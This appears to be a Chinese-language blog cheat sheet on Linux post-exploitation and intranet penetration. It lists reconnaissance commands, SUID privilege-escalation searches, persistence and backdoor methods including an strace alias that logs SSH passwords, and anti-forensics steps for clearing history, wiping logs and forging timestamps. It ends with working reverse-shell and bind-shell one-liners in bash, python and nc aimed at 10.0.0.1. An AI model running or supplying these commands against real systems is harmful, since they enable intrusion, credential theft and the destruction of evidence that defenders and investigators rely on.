  • lsmod | grep -i "xen-vbd\|xen-vnif"
  • lsmod | grep -i "virtio_pci\|virtio_net"
  • lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

容器内信息收集

  • capsh --print
  • cat /proc/1/cgroup
  • env | grep KUBE
  • ls -l .dockerenv
  • ls -l /run/secrets/Kubernetes.io/
  • mount
  • ps aux

持久化

权限提升

  • 内核漏洞利用
  • 攻击有root权限的服务
  • 利用第三方服务提权

通过有SUID属性的可执行文件

  • 查找可能提权的可执行文件
  • find / -perm +4000 -ls
  • find / -perm -u=s -type f 2>/dev/null
  • find / -user root -perm -4000 -print 2>/dev/null
  • find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

利用可用的root权限

  • sudo -l

自启动

  • /etc/init.d
  • /etc/rc.d/rc.local
  • ~/.bashrc
  • ~/.zshrc

后门

ssh 后门

  • alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
  • 后门账户

常见应用

  • ICMP

  • DNS

  • icmp后门

  • 后门端口复用

  • . 开头隐藏文件

  • rootkit

痕迹清理

历史命令

  • unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
  • kill -9 $$ kill history
  • history -c
  • HISTSIZE=0 中设置 HISTSIZE=0

清除/修改日志文件

  • /var/log/btmp
  • /var/log/lastlog
  • /var/log/wtmp
  • /var/log/utmp
  • /var/log/secure
  • /var/log/message

登录痕迹

  • 删除 ~/.ssh/known_hosts 中记录

  • 修改文件时间戳touch –r

  • 删除tmp目录临时文件

操作痕迹

  • vim 不记录历史命令 :set history=0
    • ssh 登录痕迹,无痕登录 ssh -T user@host /bin/bash -i

覆写文件

  • shred
  • dd
  • wipe

难点

  • 攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
  • 即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
  • 留存的后门包含攻击者的信息
  • 使用的代理或跳板可能会被反向入侵

注意

  • 在操作前检查是否有用户在线
  • 删除文件使用磁盘覆写的功能删除
  • 尽量和攻击前状态保持一致

综合技巧

端口转发

windows

  • lcx
  • netsh

linux

  • portmap
  • iptables

socket代理

  • Win: xsocks
  • Linux: proxychains

基于http的转发与socket代理(低权限下的渗透)

  • 端口转发: tunna
  • socks代理: reGeorg

ssh通道

  • 端口转发
  • socks

获取shell

常规shell反弹:

1
2
3
4
5
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

突破防火墙的imcp_shell反弹

正向shell:

1
2
nc -e /bin/sh -lp 1234
nc.exe -e cmd.exe -lp 1234

内网文件传输

windows下文件传输

  • powershell
  • vbs脚本文件
  • bitsadmin
  • 文件共享
  • 使用telnet接收数据
  • hta

linux下文件传输

  • python
  • wget
  • tar + ssh
  • 利用dns传输数据

文件编译

  • powershell将exe转为txt,再txt转为exe

远程连接 && 执行程序

  • at&schtasks
  • psexec
  • wmic
  • wmiexec.vbs
  • smbexec
  • powershell remoting
  • SC创建服务执行
  • schtasks
  • SMB+MOF || DLL Hijacks
  • PTH + compmgmt.msc

不同环境下内网渗透的相关技巧
http://example.com/2024/06/17/command1/
作者
ZERO
发布于
2024年6月17日
许可协议